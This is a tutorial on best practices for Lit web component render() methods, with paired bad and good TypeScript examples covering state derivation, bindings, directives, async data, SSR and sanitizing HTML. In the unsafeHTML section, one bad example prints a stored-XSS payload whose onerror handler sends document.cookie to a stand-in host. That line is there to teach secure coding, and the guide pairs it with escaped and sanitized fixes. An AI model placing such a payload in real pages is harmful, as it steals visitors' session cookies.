Lit render() best practices

Detailed positive and negative examples for each of the 13 rules

Each rule has: a short explanation, one or more BAD examples (with what goes wrong), and the matching GOOD solution. Examples use TypeScript decorators (@property, @state, @customElement). In plain JavaScript, declare them with `static properties` instead; the behavior is identical.

Contents

1. Keep render() pure and fast
2. Derive values, don't store them
3. Use willUpdate() for expensive derivations
4. Put static styles in `static styles`
5. Use the right binding types
6. Use directives where they help
7. Return `nothing` for empty states
8. Don't re-create handlers or objects unnecessarily
9. Split into small components
10. Handle async data deliberately
11. Be careful with unsafeHTML
12. Mind SSR and hydration
13. Use requestUpdate() sparingly

Quick reference cheat-sheet

1. Keep render() pure and fast

render() should be a pure function of the component's reactive properties and state: same inputs, same template, no side effects, and cheap enough to run on every update.

1.1 Setting reactive properties inside render()

BAD

```
render() {
  this.count = this.items.length;   // schedules ANOTHER update
  return html`<p>${this.count}</p>`;
}
```

Changing a reactive property during render() schedules a new update. Best case you get a dev-mode warning about a change-in-update; worst case an infinite loop.

GOOD

```
// Option A: derive it directly
render() {
  return html`<p>${this.items.length}</p>`;
}

// Option B: if you need it as a field, compute it in willUpdate()
willUpdate(changed) {
  if (changed.has('items')) this._count = this.items.length;
}
```

willUpdate() runs before render(), and changes made there do not trigger another update cycle.

1.2 Fetching data or running side effects in render()

BAD

```
render() {
  fetch(`/api/user/${this.userId}`)
    .then(r => r.json())
    .then(u => (this.user = u));        // sets state -> re-render -> fetch again
  return html`<p>${this.user?.name}</p>`;
}
```

Every render fires a request; the response sets state, which re-renders, which fetches again: an endless request loop.

GOOD

```
updated(changed) {
  if (changed.has('userId')) this._load();   // only when the input changes
}

async _load() {
  const r = await fetch(`/api/user/${this.userId}`);
  this.user = await r.json();
}

render() {
  return html`<p>${this.user?.name ?? 'Loading...'}</p>`;
}
```

Fetch only when the relevant input changes. Or use Task from @lit/task (see section 10), which also handles loading, errors and race conditions.

1.3 Manual DOM manipulation

BAD

```
render() {
  const el = this.shadowRoot.querySelector('#title');   // may not exist yet
  if (el) el.textContent = this.title;                  // fights Lit's bindings
  return html`<h1 id="title"></h1>`;
}
```

On the first render the element does not exist yet, and Lit's own bindings will conflict with your manual writes.

GOOD

```
render() {
  return html`<h1>${this.title}</h1>`;
}

// If you truly need DOM access (focus, measuring), do it after rendering:
updated(changed) {
  if (changed.has('open') && this.open) {
    this.renderRoot.querySelector('input')?.focus();
  }
}
```

Bind declaratively. Use updated() or firstUpdated() when you need the rendered DOM.

1.4 Adding listeners or timers in render()

BAD

```
render() {
  window.addEventListener('resize', this._onResize);   // one more on EVERY render
  setInterval(() => this.tick(), 1000);                // leaks a timer per render
  return html`<div>...</div>`;
}
```

Each render stacks another listener and another timer, none of which are ever cleaned up.

GOOD

```
connectedCallback() {
  super.connectedCallback();
  window.addEventListener('resize', this._onResize);
  this._timer = setInterval(() => this.tick(), 1000);
}

disconnectedCallback() {
  window.removeEventListener('resize', this._onResize);
  clearInterval(this._timer);
  super.disconnectedCallback();
}
```

Tie setup and teardown to the element lifecycle. For reuse, wrap this in a ReactiveController.

1.5 Impure output (random, time)

BAD

```
render() {
  return html`
    <p>${Math.random()}</p>
    <p>${new Date().toLocaleTimeString()}</p>
  `;
}
```

Same props give different output, which makes rendering unpredictable, hard to test, and it breaks SSR hydration because server and client output differ.

GOOD

```
@state() private _now = new Date();

connectedCallback() {
  super.connectedCallback();
  this._t = setInterval(() => (this._now = new Date()), 1000);
}
disconnectedCallback() {
  clearInterval(this._t);
  super.disconnectedCallback();
}

render() {
  return html`<p>${this._now.toLocaleTimeString()}</p>`;
}
```

Make the changing value explicit reactive state, so render() stays a pure function of state.

1.6 Mutating props or state while rendering

BAD

```
render() {
  const sorted = this.items.sort((a, b) => a.name.localeCompare(b.name));
  return html`<ul>${sorted.map(i => html`<li>${i.name}</li>`)}</ul>`;
}
```

Array.prototype.sort() mutates in place. You just reordered the parent's data from inside a child's render.

GOOD

```
render() {
  const sorted = [...this.items].sort((a, b) => a.name.localeCompare(b.name));
  return html`<ul>${sorted.map(i => html`<li>${i.name}</li>`)}</ul>`;
}
// Modern alternative: this.items.toSorted(...)
```

Copy first (or use toSorted / toReversed / toSpliced). Treat props as read-only.

1.7 Heavy computation on every render

BAD

```
render() {
  const result = expensiveFilter(this.bigList, this.query);
  return html`<ul>${result.map(r => html`<li>${r}</li>`)}</ul>`;
}
```

Any change to any property (even a hover flag) recomputes the filter.

GOOD

```
willUpdate(changed) {
  if (changed.has('bigList') || changed.has('query')) {
    this._result = expensiveFilter(this.bigList, this.query);
  }
}

render() {
  return html`<ul>${this._result.map(r => html`<li>${r}</li>`)}</ul>`;
}
```

Recompute only when the inputs change, then just read the cached result in render().

1.8 Async or blocking work in render()

BAD

```
async render() {
  const data = await loadData();
  return html`<p>${data}</p>`;
}
```

render() would return a Promise instead of a template, so nothing renders correctly.

GOOD

```
@state() private _data?: string;

async firstUpdated() {
  this._data = await loadData();
}

render() {
  return this._data ? html`<p>${this._data}</p>` : html`<p>Loading...</p>`;
}
```

Load elsewhere, store the result in reactive state, and render each state synchronously.

2. Derive values, don't store them

Every piece of state you store that can be computed from other state is a chance for the two to drift apart. Keep one source of truth and compute the rest.

2.1 Redundant counter kept in sync by hand

BAD

```
@state() items: Item[] = [];
@state() remaining = 0;                // duplicate of items.filter(...).length

toggle(i: number) {
  this.items = this.items.map((it, idx) =>
    idx === i ? { ...it, done: !it.done } : it);
  this.remaining = this.items.filter(it => !it.done).length;   // easy to forget
}
addItem(item: Item) {
  this.items = [...this.items, item];   // oops: remaining is now stale
}
```

The moment one code path forgets to update `remaining`, the UI lies.

GOOD

```
@state() items: Item[] = [];

render() {
  const remaining = this.items.filter(i => !i.done).length;
  return html`<p>${remaining} left</p>`;
}
```

One source of truth (`items`). The count is always correct because it is recomputed from it.

2.2 Copying a property into state

BAD

```
@property() firstName = '';
@property() lastName = '';
@state() fullName = '';

updated(changed) {
  if (changed.has('firstName') || changed.has('lastName')) {
    this.fullName = `${this.firstName} ${this.lastName}`;   // extra update cycle
  }
}
```

Setting state in updated() causes a second render of every change, and there is one frame where fullName is stale.

GOOD

```
get fullName() {
  return `${this.firstName} ${this.lastName}`;
}

render() {
  return html`<h2>${this.fullName}</h2>`;
}
```

A plain getter is enough for cheap derivations. No state, no extra render.

2.3 Derived value that is expensive

BAD

```
get visible() {
  return this.rows.filter(r => matches(r, this.query)).sort(byDate);  // runs per access!
}
render() {
  return html`<p>${this.visible.length} results</p>
              <ul>${this.visible.map(r => html`<li>${r.title}</li>`)}</ul>`;
}
```

The getter runs twice per render (and again anywhere else it is read).

GOOD

```
private _visible: Row[] = [];

willUpdate(changed: PropertyValues) {
  if (changed.has('rows') || changed.has('query')) {
    this._visible = this.rows.filter(r => matches(r, this.query)).sort(byDate);
  }
}
render() {
  return html`<p>${this._visible.length} results</p>
              <ul>${this._visible.map(r => html`<li>${r.title}</li>`)}</ul>`;
}
```

Cache in a plain (non-reactive) field, recomputed only when its inputs change. This field is derived, so it does not need @state().

3. Use willUpdate() for expensive derivations

willUpdate(changedProps) runs before render(). Property changes made inside it do not cause another update, and changedProps tells you exactly what changed.

3.1 Deriving state in updated() instead of willUpdate()

BAD

```
@property() query = '';
@state() results: string[] = [];

updated(changed) {
  if (changed.has('query')) {
    this.results = search(this.query);   // render happened with OLD results,
  }                                      // then a second render with new ones
}
```

updated() runs after render. Setting state there triggers a second render and flashes stale content.

GOOD

```
willUpdate(changed: PropertyValues) {
  if (changed.has('query')) {
    this.results = search(this.query);   // same update cycle, one render
  }
}
```

willUpdate() is the right place: one render, always consistent.

3.2 Recomputing without checking changedProps

BAD

```
willUpdate() {
  this._index = buildSearchIndex(this.documents);   // runs on EVERY update
}
```

An unrelated property change (e.g. `hovered`) rebuilds the whole index.

GOOD

```
willUpdate(changed: PropertyValues) {
  if (changed.has('documents')) {
    this._index = buildSearchIndex(this.documents);
  }
}
```

Guard with changed.has(). Remember: Lit compares by reference, so replace arrays/objects instead of mutating them, or `has()` will not fire.

3.3 Slow work that should not block the first paint

BAD

```
willUpdate(changed) {
  if (changed.has('data')) {
    this._chartModel = hugeSynchronousLayout(this.data);   // blocks main thread
  }
}
```

willUpdate() is synchronous. A 300 ms computation here freezes the page for 300 ms.

GOOD

```
willUpdate(changed) {
  if (changed.has('data')) {
    this._chartModel = undefined;            // render a cheap placeholder first
    this._computeLater(this.data);
  }
}

async _computeLater(data) {
  const model = await worker.layout(data);   // Web Worker / idle callback
  if (data === this.data) this._chartModel = model;   // ignore stale results
}
```

Move genuinely heavy work off the main thread (Web Worker, chunking) and render a placeholder meanwhile.

4. Put static styles in `static styles`

Styles declared with static styles are parsed once per class and shared across all instances through constructable stylesheets. Styles in the template are re-parsed per instance.

4.1 <style> tag inside the template

BAD

```
render() {
  return html`
    <style>
      .card { padding: 16px; border-radius: 8px; }
      h2 { margin: 0 0 8px; }
    </style>
    <div class="card"><h2>${this.title}</h2></div>
  `;
}
```

Every instance gets its own <style> element that the browser must parse again. With 500 list items that is 500 stylesheets.

GOOD

```
static styles = css`
  .card { padding: 16px; border-radius: 8px; }
  h2 { margin: 0 0 8px; }
`;

render() {
  return html`<div class="card"><h2>${this.title}</h2></div>`;
}
```

One shared stylesheet per component class.

4.2 Interpolating dynamic values into css``

BAD

```
static styles = css`
  .box { background: ${this.color}; }   // 'this' is not an instance here, and
`;                                       // css`` rejects non-literal values
```

static styles are class-level, evaluated once. Per-instance, dynamic values cannot go there.

GOOD

```
static styles = css`
  .box { background: var(--box-color, #4b2c83); }
`;

render() {
  return html`<div class="box" style=${styleMap({ '--box-color': this.color })}></div>`;
}
```

Use CSS custom properties: styles stay static and shared, only the variable value changes per instance. This also lets users theme the component from outside.

4.3 Repeating a style block across components

BAD

```
// button-a.ts and button-b.ts both contain the same 40 lines of reset/typography CSS
static styles = css`  *, *::before { box-sizing: border-box; }  /* ...copy-pasted... */ `;
```

Copy-pasted CSS drifts and bloats every component.

GOOD

```
// shared-styles.ts
export const reset = css`*, *::before { box-sizing: border-box; }`;

// any component
static styles = [reset, css`.btn { padding: 8px 12px; }`];
```

static styles accepts an array, so compose shared css`` fragments.

5. Use the right binding types

Lit has four binding syntaxes. Picking the wrong one produces subtle bugs: '[object Object]', attributes that never go away, or clobbered class lists.

5.1 Attribute binding for objects and arrays

BAD

```
render() {
  return html`<user-list users="${this.users}"></user-list>`;
}
// child receives the string "[object Object],[object Object]"
```

Attribute bindings stringify the value.

GOOD

```
render() {
  return html`<user-list .users=${this.users}></user-list>`;   // property binding
}
```

Use `.prop=` to pass real objects, arrays, functions and numbers to a child's property.

5.2 Boolean attributes with attribute binding

BAD

```
render() {
  return html`<button disabled="${this.loading}">Save</button>`;
}
// loading = false  ->  disabled="false"  ->  button STILL disabled
```

Boolean HTML attributes are true when merely present, regardless of value.

GOOD

```
render() {
  return html`<button ?disabled=${this.loading}>Save</button>`;   // present or absent
}
```

`?attr=` adds or removes the attribute based on truthiness.

5.3 Building class and style strings by hand

BAD

```
render() {
  const cls = 'btn ' + (this.primary ? 'primary ' : '') + (this.big ? 'big' : '');
  const st = 'width:' + this.w + 'px;' + (this.hidden ? 'display:none' : '');
  return html`<button class=${cls} style=${st}>Go</button>`;
}
```

Fragile string concatenation: stray spaces, missing semicolons, and a whole-attribute rewrite on every change.

GOOD

```
import { classMap } from 'lit/directives/class-map.js';
import { styleMap } from 'lit/directives/style-map.js';

render() {
  return html`
    <button
      class=${classMap({ btn: true, primary: this.primary, big: this.big })}
      style=${styleMap({ width: `${this.w}px`, display: this.hidden ? 'none' : undefined })}>
      Go
    </button>`;
}
```

Directives update only the individual classes and properties that changed. Note: with classMap, put it alone in the class attribute (static classes can be listed inside the map).

5.4 Event listeners the wrong way

BAD

```
render() {
  return html`
    <button onclick="${this._save}">Save</button>              <!-- inline handler: not a Lit listener -->
    <button @click=${this._save.bind(this)}>Save</button>      <!-- unnecessary bind -->
  `;
}
```

`onclick=` is a plain attribute (a string), and Lit already binds `this` to the host for @event listeners, so bind() is redundant.

GOOD

```
render() {
  return html`<button @click=${this._save}>Save</button>`;
}

private _save(e: Event) {   // 'this' is the component
  this.dispatchEvent(new CustomEvent('save', { bubbles: true, composed: true }));
}
```

Use `@event=` with a method reference. Dispatch composed custom events to cross shadow DOM boundaries.

6. Use directives where they help

Directives are escape hatches for specific problems. Use the simplest tool that is correct, and reach for a directive only when it solves a real issue.

6.1 map() for a reorderable list with stateful rows

BAD

```
render() {
  return html`${this.todos.map(t => html`<li><input value=${t.text}> ${t.text}</li>`)}`;
}
// Reorder or remove an item: DOM nodes are reused by INDEX, so input focus,
// caret position and typed-but-unsaved text jump to the wrong row.
```

Without keys Lit updates DOM nodes positionally. Fine for static lists, wrong when rows have their own DOM state.

GOOD

```
import { repeat } from 'lit/directives/repeat.js';

render() {
  return html`${repeat(this.todos, t => t.id,
    t => html`<li><input .value=${t.text}> ${t.text}</li>`)}`;
}
```

repeat() with a stable key moves DOM nodes with their data. Use plain map() when the list is simple and stateless, it is cheaper.

6.2 Throwing away an expensive subtree on every toggle

BAD

```
render() {
  return html`${this.tab === 'chart' ? html`<heavy-chart .data=${this.data}></heavy-chart>`
                                     : html`<data-table .data=${this.data}></data-table>`}`;
}
// Every tab switch destroys and rebuilds the chart.
```

Switching templates tears down the old DOM and builds a new one from scratch.

GOOD

```
import { cache } from 'lit/directives/cache.js';

render() {
  return html`${cache(this.tab === 'chart'
    ? html`<heavy-chart .data=${this.data}></heavy-chart>`
    : html`<data-table .data=${this.data}></data-table>`)}`;
}
```

cache() keeps inactive templates' DOM in memory so switching back is instant (trade-off: memory).

6.3 Re-evaluating a costly template when its inputs did not change

BAD

```
render() {
  return html`
    <h1>${this.title}</h1>
    ${this.rows.map(r => renderComplexRow(r))}   // re-runs on each unrelated update
  `;
}
```

Whenever `title` or any other property changes, the whole rows template is rebuilt.

GOOD

```
import { guard } from 'lit/directives/guard.js';

render() {
  return html`
    <h1>${this.title}</h1>
    ${guard([this.rows], () => this.rows.map(r => renderComplexRow(r)))}
  `;
}
```

guard() re-evaluates only when the listed dependencies change by reference. Measure first, since Lit's own diffing is already fast.

6.4 Attributes that render the string 'undefined'

BAD

```
render() {
  return html`<a href="${this.url}">Docs</a>`;   // url undefined -> href="undefined"
}
```

Undefined and null become empty strings (or text) in attribute position, not 'no attribute'.

GOOD

```
import { ifDefined } from 'lit/directives/if-defined.js';

render() {
  return html`<a href=${ifDefined(this.url)}>Docs</a>`;   // attribute omitted when undefined
}
```

ifDefined() removes the attribute when the value is undefined (or null in Lit 2+/3).

7. Return `nothing` for empty states

`nothing` is Lit's explicit 'render nothing / remove this attribute' value. It avoids surprising output like a stray '0' or an empty attribute.

7.1 The && trap that renders '0'

BAD

```
render() {
  return html`${this.items.length && html`<ul>...</ul>`}`;
}
// items.length === 0  ->  literally prints "0" on screen
```

`0 && x` evaluates to 0, and Lit dutifully renders the number.

GOOD

```
import { nothing } from 'lit';
import { when } from 'lit/directives/when.js';

render() {
  return html`
    ${this.items.length > 0 ? html`<ul>...</ul>` : nothing}
    ${when(this.items.length > 0, () => html`<ul>...</ul>`)}   // equivalent
  `;
}
```

Use an explicit boolean and a ternary (or when()) with `nothing` as the else branch.

7.2 Empty attributes instead of no attribute

BAD

```
render() {
  return html`<input aria-label="${this.label ?? ''}">`;
}
// no label -> aria-label=""  (present but empty, which can confuse assistive tech)
```

An empty-string attribute is still an attribute. For ARIA and some HTML attributes that changes behavior.

GOOD

```
render() {
  return html`<input aria-label=${this.label ?? nothing}>`;
}
// or: aria-label=${ifDefined(this.label)}
```

In attribute position, `nothing` removes the attribute entirely.

7.3 Empty strings as a placeholder for 'no content'

BAD

```
render() {
  return html`<div>${this.error ? html`<p class="err">${this.error}</p>` : ''}</div>`;
}
```

Works visually, but '' is an intentional-looking value that reads like text. Mixing '', null and undefined across a codebase hides intent.

GOOD

```
render() {
  return html`<div>${this.error ? html`<p class="err">${this.error}</p>` : nothing}</div>`;
}
```

Use `nothing` consistently so 'intentionally empty' is obvious and behaves the same in every position.

8. Don't re-create handlers or objects unnecessarily

Lit re-renders a child when a property it receives changes by reference. A new object or array literal in your template is a new reference on every render.

8.1 Object literal passed as a property

BAD

```
render() {
  return html`<chart-view .options=${{ theme: 'dark', animate: false }}></chart-view>`;
}
// A fresh object every render -> chart-view re-renders (and may redraw) every time
```

The child sees a 'changed' property on each parent update even though nothing meaningful changed.

GOOD

```
const CHART_OPTIONS = { theme: 'dark', animate: false };   // module constant

render() {
  return html`<chart-view .options=${CHART_OPTIONS}></chart-view>`;
}
// Dynamic options? Build them in willUpdate() when their inputs change.
```

Hoist constants out of render(), or memoize dynamic objects in willUpdate().

8.2 Filtering or mapping inline for a child

BAD

```
render() {
  return html`<item-list .items=${this.items.filter(i => i.visible)}></item-list>`;
}
```

.filter() always returns a new array, so item-list re-renders on every parent update.

GOOD

```
willUpdate(changed: PropertyValues) {
  if (changed.has('items')) this._visibleItems = this.items.filter(i => i.visible);
}

render() {
  return html`<item-list .items=${this._visibleItems}></item-list>`;
}
```

The reference stays the same until `items` changes.

8.3 Per-row closures in huge lists

BAD

```
render() {
  return html`${this.rows.map(r => html`
    <tr @click=${() => this.select(r.id)}>...</tr>     <!-- 10,000 closures per render -->
  `)}`;
}
```

Honest note: Lit updates the stored listener cheaply, so for normal lists inline arrows are fine. At thousands of rows the allocations add up.

GOOD

```
render() {
  return html`<table @click=${this._onTableClick}>
    ${this.rows.map(r => html`<tr data-id=${r.id}>...</tr>`)}
  </table>`;
}

private _onTableClick(e: Event) {
  const row = (e.target as Element).closest('tr[data-id]');
  if (row) this.select(row.getAttribute('data-id')!);
}
```

Event delegation: one listener on the container, identify the row from a data attribute.

9. Split into small components

A 300-line render() is hard to read and impossible to reuse. Split by responsibility, and choose the lightest splitting tool that fits.

9.1 One giant render()

BAD

```
render() {
  return html`
    <header>... 40 lines of nav, search box, user menu ...</header>
    <main>... 120 lines of filters, table, pagination ...</main>
    <footer>... 30 lines ...</footer>
  `;
}
```

Hard to review, impossible to test in isolation, and any change re-evaluates all of it.

GOOD

```
render() {
  return html`
    ${this._renderHeader()}
    <main>
      <filter-bar .filters=${this.filters} @change=${this._onFilter}></filter-bar>
      <data-table .rows=${this._rows}></data-table>
      <pager .page=${this.page} .total=${this.total}></pager>
    </main>
    ${this._renderFooter()}
  `;
}
```

Helper methods for purely presentational chunks, child components for chunks with their own state.

9.2 Helper method that secretly needs its own state

BAD

```
_renderDropdown() {
  // uses this._open, this._query, this._highlighted ... all stored on the PARENT
  // so every keystroke re-renders the whole parent
}
```

Local UI state leaking into the parent makes the parent re-render for things it does not care about.

GOOD

```
@customElement('my-dropdown')
export class MyDropdown extends LitElement {
  @state() private _open = false;
  @state() private _query = '';
  @property({ type: Array }) options: string[] = [];
  // ...render() only about the dropdown
}
```

If a piece needs its own state or lifecycle, make it a component. Updates stay local.

9.3 Stateless snippet reused in many places

BAD

```
// the same 12-line avatar markup is pasted in 5 templates
```

Duplication again.

GOOD

```
export const avatar = (user: User, size = 32) => html`
  <img class="avatar" src=${user.photo} alt=${user.name} width=${size} height=${size}>
`;

render() {
  return html`<li>${avatar(this.user)} ${this.user.name}</li>`;
}
```

A plain function returning a TemplateResult is the lightest reuse mechanism: no element, no lifecycle.

10. Handle async data deliberately

Async work belongs outside render(). Model it as explicit states (idle, loading, error, success) and guard against stale responses.

10.1 No loading or error state

BAD

```
async connectedCallback() {
  super.connectedCallback();
  this.user = await (await fetch('/api/user')).json();   // network error = unhandled rejection
}
render() {
  return html`<p>${this.user.name}</p>`;   // TypeError while user is undefined
}
```

Before the response arrives, `this.user` is undefined and render() throws. Failures are silent.

GOOD

```
@state() private _user?: User;
@state() private _error?: Error;

async connectedCallback() {
  super.connectedCallback();
  try {
    const res = await fetch('/api/user');
    if (!res.ok) throw new Error(`HTTP ${res.status}`);
    this._user = await res.json();
  } catch (e) {
    this._error = e as Error;
  }
}

render() {
  if (this._error) return html`<p class="err">Failed: ${this._error.message}</p>`;
  if (!this._user) return html`<p>Loading...</p>`;
  return html`<p>${this._user.name}</p>`;
}
```

Render every state explicitly with early returns.

10.2 Race conditions: the stale response wins

BAD

```
updated(changed) {
  if (changed.has('query')) {
    fetch(`/search?q=${this.query}`)
      .then(r => r.json())
      .then(r => (this.results = r));    // slow response for "ab" overwrites fast one for "abc"
  }
}
```

Responses can arrive out of order, so the UI can show results for an older query.

GOOD

```
private _abort?: AbortController;

async updated(changed: PropertyValues) {
  if (!changed.has('query')) return;
  this._abort?.abort();                       // cancel the previous request
  this._abort = new AbortController();
  try {
    const r = await fetch(`/search?q=${encodeURIComponent(this.query)}`,
                          { signal: this._abort.signal });
    this.results = await r.json();
  } catch (e) {
    if ((e as Error).name !== 'AbortError') this.error = e as Error;
  }
}
```

Abort the previous request when a new one starts.

10.3 The easiest correct way: @lit/task

BAD

```
// hand-rolled loading / error / abort / status plumbing repeated in every component
```

Boilerplate that is easy to get subtly wrong.

GOOD

```
import { Task } from '@lit/task';

private _userTask = new Task(this, {
  task: async ([id], { signal }) => {
    const res = await fetch(`/api/user/${id}`, { signal });
    if (!res.ok) throw new Error(`HTTP ${res.status}`);
    return res.json() as Promise<User>;
  },
  args: () => [this.userId],          // re-runs automatically when userId changes
});

render() {
  return this._userTask.render({
    pending: () => html`<p>Loading...</p>`,
    complete: (u) => html`<p>${u.name}</p>`,
    error: (e) => html`<p class="err">${(e as Error).message}</p>`,
  });
}
```

Task handles abort signals, args-based re-running, and all four states.

11. Be careful with unsafeHTML

Lit's normal bindings escape values, which makes XSS hard. unsafeHTML() and unsafeSVG() switch that protection off for the value you pass.

11.1 Rendering user-supplied content

BAD

```
import { unsafeHTML } from 'lit/directives/unsafe-html.js';

render() {
  return html`<div class="comment">${unsafeHTML(this.comment.body)}</div>`;
}
// body = '<img src=x onerror="fetch(`//evil.test/?c=`+document.cookie)">'
```

Classic stored XSS. Any visitor viewing the comment runs the attacker's script.

GOOD

```
render() {
  return html`<div class="comment">${this.comment.body}</div>`;   // escaped automatically
}
```

The default binding renders the markup as inert text.

11.2 You really need rich HTML (CMS content, markdown)

BAD

```
render() {
  return html`<article>${unsafeHTML(marked.parse(this.markdown))}</article>
}
// markdown libraries do NOT sanitize by default
```

Markdown can contain raw HTML, so this is the same hole in a different coat.

GOOD

```
import DOMPurify from 'dompurify';

willUpdate(changed: PropertyValues) {
  if (changed.has('markdown')) {
    this._safeHtml = DOMPurify.sanitize(marked.parse(this.markdown) as string);
  }
}
render() {
  return html`<article>${unsafeHTML(this._safeHtml)}</article>`;
}
```

Sanitize with an allow-list sanitizer (DOMPurify, or the native Sanitizer API where available), and do it once in willUpdate(). Better still, add a Content-Security-Policy as a second layer.

11.3 Trusted, build-time content

BAD

```
// Admin-provided SVG icon string from an unvalidated form field, passed to unsafeSVG()
```

'Trusted' sources get compromised, and admin accounts get phished.

GOOD

```
import { unsafeSVG } from 'lit/directives/unsafe-svg.js';
import { ICONS } from './icons.js';        // static, reviewed, shipped with your code

render() {
  return html`<svg viewBox="0 0 24 24">${unsafeSVG(ICONS[this.name])}</svg>`;
}
```

Reserve unsafe directives for content you ship yourself, looked up from a fixed allow-list of keys.

12. Mind SSR and hydration

With @lit-labs/ssr, only the constructor, willUpdate() and render() run on the server. connectedCallback(), firstUpdated() and updated() run only in the browser. Server and client must produce the same first render.

12.1 Browser-only APIs in render()

BAD

```
render() {
  const wide = window.innerWidth > 800;                // ReferenceError on the server
  const theme = localStorage.getItem('theme');         // same
  return html`<div class=${wide ? 'wide' : 'narrow'}>...</div>`;
}
```

`window`, `document` and `localStorage` do not exist in Node. SSR crashes, or (if guarded) server and client render differently.

GOOD

```
@state() private _wide = false;     // safe default used by server AND first client render

connectedCallback() {
  super.connectedCallback();        // client-only
  this._mq = window.matchMedia('(min-width: 800px)');
  this._wide = this._mq.matches;
  this._mq.addEventListener('change', this._onMq);
}
private _onMq = (e: MediaQueryListEvent) => (this._wide = e.matches);

render() {
  return html`<div class=${this._wide ? 'wide' : 'narrow'}>...</div>`;
}
```

Start from a deterministic default, then update from client-only lifecycle callbacks. For pure layout, prefer CSS media/container queries, which need no JS at all.

12.2 Non-deterministic output (hydration mismatch)

BAD

```
render() {
  return html`<span id="u-${Math.random().toString(36).slice(2)}">${new Date().getFullYear()}</span>`;
}
// Server HTML says one thing, client render says another: mismatch / flicker
```

Hydration expects the client's first render to match the server's markup.

GOOD

```
@property() uid = '';           // passed in from outside / from the server
@property({ type: Number }) year = 0;

render() {
  return html`<span id=${`u-${this.uid}`}>${this.year}</span>`;
}
```

Feed non-deterministic values in as properties, or set them after hydration in firstUpdated().

12.3 Touching storage in the constructor

BAD

```
constructor() {
  super();
  this.token = localStorage.getItem('token') ?? '';   // constructor DOES run on the server
}
```

The constructor runs during SSR, where localStorage is undefined.

GOOD

```
connectedCallback() {
  super.connectedCallback();
  this.token = localStorage.getItem('token') ?? '';   // browser only
}
```

Put anything environment-specific in connectedCallback()/firstUpdated(), or guard with `typeof window !== 'undefined'`.

13. Use requestUpdate() sparingly

Declare reactive properties and let Lit batch updates. Manual requestUpdate() is for the rare case where the change is invisible to Lit's property setters.

13.1 In-place mutation Lit cannot detect

BAD

```
addTodo(t: Todo) {
  this.todos.push(t);          // same array reference: no update, UI does not change
}
```

Reactive properties are detected by reassignment (strict inequality), not by deep watching.

GOOD

```
addTodo(t: Todo) {
  this.todos = [...this.todos, t];                          // new reference -> update
}
updateTodo(i: number, patch: Partial<Todo>) {
  this.todos = this.todos.map((x, idx) => (idx === i ? { ...x, ...patch } : x));
}
```

Prefer immutable updates (spread, map, filter, toSpliced). It is also what makes guard(), changed.has() and child property checks work.

13.2 Sprinkling requestUpdate() after every assignment

BAD

```
reset() {
  this.name = '';
  this.requestUpdate();
  this.age = 0;
  this.requestUpdate();
  this.tags = [];
  this.requestUpdate();        // redundant calls
}
```

Noise, and a sign that the properties are not declared reactive.

GOOD

```
@property() name = '';
@property({ type: Number }) age = 0;
@state() tags: string[] = [];

reset() {
  this.name = '';
  this.age = 0;
  this.tags = [];              // all three changes batched into ONE render (microtask)
}
```

Property setters schedule the update automatically, and multiple changes in the same task batch.

13.3 The legitimate use: non-reactive or mutable data structures

BAD

```
private _selected = new Set<string>();     // not reactive

toggle(id: string) {
  this._selected.has(id) ? this._selected.delete(id) : this._selected.add(id);
  // nothing re-renders
}
```

Set/Map/class instances mutate internally; Lit sees no property assignment.

GOOD

```
toggle(id: string) {
  this._selected.has(id) ? this._selected.delete(id) : this._selected.add(id);
  this.requestUpdate();                    // fine here
}

// Or, immutable and reactive, which is usually nicer:
```

```
@state() private _selected = new Set<string>();
toggle(id: string) {
  const next = new Set(this._selected);
  next.has(id) ? next.delete(id) : next.add(id);
  this._selected = next;
}
```

requestUpdate() is right for external mutable objects, but replacing the value is usually cleaner.

13.4 Public property for internal state

BAD

```
@property() _isOpen = false;     // exposed as an attribute/property API and observable
```

@property is part of the component's public API. Using it for internals invites outside code to depend on it.

GOOD

```
@state() private _isOpen = false;   // reactive, but internal
```

@state() is reactive without being public API.

Quick reference cheat-sheet

Need to...	Put it in...
Derive a value from changed props	willUpdate() (cheap: a getter)
Read or touch DOM after render	firstUpdated() / updated()
Add listeners, timers, subscriptions	connectedCallback() + cleanup in disconnectedCallback()
Load data	Task (@lit/task) or lifecycle method + @state
Browser-only APIs (SSR)	connectedCallback() / firstUpdated()
Share styles	static styles (array of css``)
Dynamic per-instance style value	CSS custom property + styleMap
Pass objects/arrays to child	.prop= with a stable reference
Keyed, reorderable list	repeat()
Optional attribute	ifDefined() / nothing
Mutate a collection	Replace it with a new one (immutable update)